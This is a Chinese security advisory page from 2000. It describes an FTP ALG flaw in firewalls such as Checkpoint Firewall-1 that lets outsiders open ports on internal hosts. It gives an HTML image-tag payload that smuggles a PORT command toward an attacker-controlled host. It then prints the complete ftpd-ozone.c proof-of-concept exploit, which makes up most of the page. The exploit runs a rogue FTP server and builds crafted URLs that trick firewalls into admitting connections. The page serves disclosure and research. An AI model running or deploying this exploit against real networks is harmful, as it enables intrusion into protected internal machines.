首页 -> 安全研究
安全研究
安全漏洞
多种防火墙产品FTP "ALG" client漏洞导致内部主机被非法访问
发布日期:2000-03-14
更新日期:2000-03-14
受影响系统:
Checkpoint Software Firewall-1 4.0描述:
Checkpoint Software Firewall-1 3.0
很多防火墙产品对某些规则的处理上存在安全漏洞。这可能允许防火墙外的用户可以突破防火
墙的限制访问到防火墙内部的资源。
例如,通过发送包含下列HTML语句的email给防火墙内的用户:
<img src="ftp://ftp.rooted.com/aaaa[lots of A]aaaPORT 1,2,3,4,0,139">
如果该用户的邮件阅读程序支持HTML,那么它将连往ftp.rooted.com,通过调整'A'字符的数目,
防火墙将错误的将RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139语句解析成:
RETR aaaaaaaaaa
PORT 1,2,3,4,0,139
这样该用户的机器就打开了一个139端口,并允许ftp.rooted.com(被攻击者控制的机器)
连接。这里的139端口可以用其他的端口代替,除非防火墙屏蔽了那些众所周知的服务端口。
<* 来源: Mikael Olsson <mikael.olsson@enternet.se> *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
ftpd-ozone.c
Demonstrate the FTP reverse firewall penetration technique
outlined by Mikael Olsson, EnterNet Sweden AB.
Tested against Netscape, Microsoft IE, Lynx, Wget. YMMV.
Copyright (c) 2000 Dug Song <dugsong@monkey.org>
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define WINDOW_LEN 42
#define FTPD_PORT 21
#define GREEN "\033[0m\033[01m\033[32m"
#define OFF "\033[0m"
#define int_ntoa(x) (inet_ntoa(*(struct in_addr *)&x))
void
usage(void)
{
fprintf(stderr, "Usage: ftpd-ozone [-w win] <ftp-client> <port-to-open>\n");
exit(1);
}
/* Strip telnet options, as well as suboption data. */
int
strip_telopts(u_char *buf, int len)
{
int i, j, subopt = 0;
char *p;
for (i = j = 0; i < len; i++) {
if (buf[i] == IAC) {
if (++i >= len) break;
else if (buf[i] > SB)
i++;
else if (buf[i] == SB) {
p = buf + i + 1;
subopt = 1;
}
else if (buf[i] == SE) {
if (!subopt) j = 0;
subopt = 0;
}
}
else if (!subopt) {
/* XXX - convert isolated carriage returns to newlines. */
if (buf[i] == '\r' && i + 1 < len && buf[i + 1] != '\n')
buf[j++] = '\n';
/* XXX - strip binary nulls. */
else if (buf[i] != '\0')
buf[j++] = buf[i];
}
}
buf[j] = '\0';
return (j);
}
u_long
resolve_host(char *host)
{
u_long addr;
struct hostent *hp;
if (host == NULL) return (0);
if ((addr = inet_addr(host)) == -1) {
if ((hp = gethostbyname(host)) == NULL)
return (0);
memcpy((char *)&addr, hp->h_addr, sizeof(addr));
}
return (addr);
}
#define UC(b) (((int)b)&0xff)
int
portnum2str(char *buf, int size, u_long ip, u_short port)
{
char *p, *q;
port = htons(port);
p = (char *)&ip;
q = (char *)&port;
return (snprintf(buf, size, "%d,%d,%d,%d,%d,%d",
UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
UC(q[0]), UC(q[1])));
}
int
portstr2num(char *str, u_long *dst, u_short *dport)
{
int a0, a1, a2, a3, p0, p1;
char *a, *p;
if (str[0] == '(') str++;
strtok(str, ")\r\n");
if (sscanf(str, "%d,%d,%d,%d,%d,%d", &a0, &a1, &a2, &a3, &p0, &p1) != 6)
return (-1);
a = (char *)dst;
a[0] = a0 & 0xff; a[1] = a1 & 0xff; a[2] = a2 & 0xff; a[3] = a3 & 0xff;
p = (char *)dport;
p[0] = p0 & 0xff; p[1] = p1 & 0xff;
*dport = ntohs(*dport);
return (0);
}
void
print_urls(u_long dst, u_short dport, int win)
{
char *p, host[128], tmp[128];
u_long ip;
gethostname(host, sizeof(host));
ip = resolve_host(host);
strncpy(host, int_ntoa(ip), sizeof(host));
/* XXX - "MDTM /\r\n" for Netscape, "CWD /\r\n" for MSIE. i suk. */
win -= (4 + 2 + 2);
p = malloc(win + 1);
memset(p, 'a', win);
p[win] = '\0';
portnum2str(tmp, sizeof(tmp), dst, dport);
printf("Netscape / Lynx URL to send client at %s:\n"
"ftp://%s/%s%%0a%%0dPORT%%20%s\n",
int_ntoa(dst), host, p, tmp);
printf("MSIE / Wget URL to send client at %s:\n"
"ftp://%s/a%s%%0a%%0dPORT%%20%s\n",
int_ntoa(dst), host, p, tmp);
free(p);
}
int
init_ftpd(int port, int win)
{
int fd, i = 1;
struct sockaddr_in sin;
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
return (-1);
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) == -1)
return (-1);
if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1)
return (-1);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_port = htons(port);
if (bind(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1)
return (-1);
if (listen(fd, 10) == -1)
return (-1);
return (fd);
}
void
do_ftpd(int fd)
{
FILE *f;
char buf[1024];
int len, portcmd = 0;
u_long ip;
u_short port;
if ((f = fdopen(fd, "r+")) == NULL)
return;
fprintf(f, "220 ftpd-ozone ready for love.\r\n");
while (fgets(buf, sizeof(buf), f) != NULL) {
if ((len = strip_telopts(buf, strlen(buf))) == 0)
continue;
if (strncasecmp(buf, "SYST", 4) == 0) {
fprintf(f, "215 ftpd-ozone\r\n");
}
else if (strncasecmp(buf, "USER ", 5) == 0) {
fprintf(f, "331 yo there\r\n");
}
else if (strncasecmp(buf, "PASS ", 5) == 0) {
fprintf(f, "230 sucker\r\n");
}
else if (strncasecmp(buf, "PWD", 3) == 0) {
fprintf(f, "257 \"/\" is current directory\r\n");
}
else if (strncasecmp(buf, "PASV", 4) == 0) {
fprintf(f, "502 try PORT instead ;-)\r\n");
/*fprintf(f, "425 try PORT instead ;-)\r\n");*/
}
else if (strncasecmp(buf, "PORT ", 5) == 0) {
if (portstr2num(buf + 5, &ip, &port) != 0)
fprintf(f, "500 you suk\r\n");
else {
fprintf(f, "200 ready for love\r\n");
if (portcmd++ < 2) /* XXX */
printf(GREEN "try connecting to %s %d" OFF "\n", int_ntoa(ip), port);
}
}
else if (strncasecmp(buf, "CWD ", 4) == 0 ||
strncasecmp(buf, "TYPE ", 5) == 0) {
fprintf(f, "200 whatever\r\n");
}
else if (strncasecmp(buf, "NLST", 4) == 0) {
fprintf(f, "550 you suk\r\n");
}
else if (strncasecmp(buf, "MDTM ", 5) == 0) {
fprintf(f, "213 19960319165527\r\n");
}
else if (strncasecmp(buf, "RETR ", 5) == 0 ||
strncasecmp(buf, "LIST", 4) == 0) {
fprintf(f, "150 walking thru your firewall\r\n");
}
else if (strncasecmp(buf, "QUIT", 4) == 0) {
fprintf(f, "221 l8r\r\n");
break;
}
else fprintf(f, "502 i suk\r\n");
}
fclose(f);
}
int
main(int argc, char *argv[])
{
int c, sfd, cfd;
u_long dst;
u_short dport, win = WINDOW_LEN;
struct sockaddr_in sin;
while ((c = getopt(argc, argv, "w:h?")) != -1) {
switch (c) {
case 'w':
if ((win = atoi(optarg)) == 0)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 2)
usage();
if ((dst = resolve_host(argv[0])) == 0)
usage();
if ((dport = atoi(argv[1])) == 0)
usage();
if ((sfd = init_ftpd(FTPD_PORT, win)) == -1) {
perror("init_ftpd");
exit(1);
}
print_urls(dst, dport, win);
for (;;) {
c = sizeof(sin);
if ((cfd = accept(sfd, (struct sockaddr *)&sin, &c)) == -1) {
perror("accept");
exit(1);
}
printf("connection from %s\n", inet_ntoa(sin.sin_addr));
if (fork() == 0) {
close(sfd);
do_ftpd(cfd);
close(cfd);
exit(0);
}
close(cfd);
}
exit(0);
}
/* w00w00! */
建议:
暂无
浏览次数:7051
严重程度:0(网友投票)
绿盟科技给您安全的保障